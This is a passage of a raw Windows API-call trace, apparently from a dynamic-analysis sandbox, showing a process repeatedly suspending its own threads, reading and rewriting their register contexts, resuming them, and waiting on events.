FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0112.454] ResumeThread (hThread=0xd8) returned 0x1 [0112.454] CloseHandle (hObject=0xd8) returned 1 [0112.454] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0112.456] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0112.567] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0112.672] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x8c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x27b6f890, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x27b6f890*=0xd8) returned 1 [0112.672] SuspendThread (hThread=0xd8) returned 0x0 [0112.672] GetThreadContext (in: hThread=0xd8, lpContext=0x27b6f8a0 | out: lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10212, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc0000b1370, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13f89e080, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0112.676] SetThreadContext (hThread=0xd8, lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10212, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc0000b1368, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13f74d860, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0112.677] ResumeThread (hThread=0xd8) returned 0x1 [0112.677] CloseHandle (hObject=0xd8) returned 1 [0112.677] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0112.785] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0112.889] SetEvent (hEvent=0xcc) returned 1 [0112.890] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0112.942] timeEndPeriod (uPeriod=0x1) returned 0x0 [0112.945] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0xe8 [0112.946] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0xec [0112.946] WaitForMultipleObjects (nCount=0x2, lpHandles=0x27b6fd48*=0xe8, bWaitAll=0, dwMilliseconds=0xea60) returned 0x0 [0113.087] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0113.087] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x8c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x27b6f890, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x27b6f890*=0x100) returned 1 [0113.087] SuspendThread (hThread=0x100) returned 0x0 [0113.087] GetThreadContext (in: hThread=0x100, lpContext=0x27b6f8a0 | out: lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0x28f9d0, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13f73ffe0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0113.089] ResumeThread (hThread=0x100) returned 0x1 [0113.089] CloseHandle (hObject=0x100) returned 1 [0113.089] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0113.196] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0113.313] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0113.391] SetEvent (hEvent=0xcc) returned 1 [0113.392] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0113.434] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x8c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x27b6f890, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x27b6f890*=0x100) returned 1 [0113.434] SuspendThread (hThread=0x100) returned 0x0 [0113.434] GetThreadContext (in: hThread=0x100, lpContext=0x27b6f8a0 | out: lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0x28fb10, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13f7174e0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, 